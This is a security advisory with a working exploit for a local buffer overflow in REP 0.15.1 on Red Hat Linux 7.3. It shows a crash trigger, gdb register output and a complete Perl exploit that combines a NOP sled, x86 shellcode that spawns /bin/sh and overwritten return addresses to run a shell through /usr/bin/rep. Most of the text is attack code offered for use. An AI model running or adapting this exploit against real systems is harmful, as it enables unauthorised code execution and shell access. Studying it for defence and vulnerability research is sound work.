[ REDHAT LINUX 7.3 LOCAL BUFFER OVERFLOW IN REP 0.15.1 ]




{ Vulnerable system } 

REP stands for "Read, Eval, Print", the three main components of any 
Lisp system. 
Librep is a dialect of Lisp, designed to be used both as an extension 
language for applications, and for use as a general programming language. 
A vulnerability in REP allows a local user to execute arbitrary code.


{ Description } 

REP 0.15.1 for RedHat Linux 7.3 is vulnerable to a local buffer overflow;
the possible cause may be in an incorrect use of strcpy() / memcpy()
functions.
Unfortunately, we are unable to find package's sources, so we  couldn't 
describe this vulnerability.
To exploit the vulnerability, simply input as first ARG a buffer string
of 4081 bytes :

$ declare -x BADBUFFER=`perl -e '{print "A"x"4081"}'`
$ rep $BADBUFFER

Segmentation fault

$ gdb rep

(gdb) r $BADBUFFER

Program received signal SIGSEGV, Segmentation fault.
0x4003f3cd in Fexpand_file_name () from /usr/lib/librep.so.9

(gdb) info reg esp

esp            0xbf414139       0xbf414139



N.B. Versions before 2.4.20 could be affected from this vulnerability.


{ Exploit’s code }

#!/usr/bin/perl -w


##
#   RedHat Linux 7.3 local Buffer Overflow in REP 0.15.1 exploit
#
#   Legal notes :
#   The BlackAngels staff refuse all responsabilities 
#   for an incorrect or illegal use of this software 
#   or for eventual damages to others systems.
#
#   http://www.blackangels.it
##

$len = 4260;
$ret = 0xbf414139; 
$nop = "\x90";

print "\nRedHat Linux 7.3 local Buffer Overflow in REP 0.15.1 exploit";
print "\nVulnerable versions: RedHat Linux 7.3 with 2.4.20";
print "\n============================================================\n";

if (!$ARGV[0]) { 
print "You must specify an offset [ Default = -1000 ] ...\n\n";
exit(-1); 
}

my $offset = "$ARGV[0]";

$shellcode = "\xeb\x1f\x5e\x89\x76\x08\x31\xc0\x88\x46\x07\x89".
"\x46\x0c\xb0\x0b\x89\xf3\x8d\x4e\x08\x8d\x56\x0c".
"\xcd\x80\x31\xdb\x89\xd8\x40\xcd\x80\xe8\xdc\xff".
"\xff\xff/bin/sh";

print "Trying to execute /bin/sh ...\n";

for ($i = 0; $i < ($len - length($shellcode) - 100); $i++) {
$buffer .= $nop;
}

$buffer .= $shellcode;

print("\nAddress: 0x", sprintf('%lx',($ret + $offset)), "\n");
print "\tRet: $ret + Offset: $offset\n\n";

$new_ret = pack('l', ($ret + $offset));
for ($i += length($shellcode); $i < $len; $i += 4) {
$buffer .= $new_ret;
}

exec("/usr/bin/rep $buffer");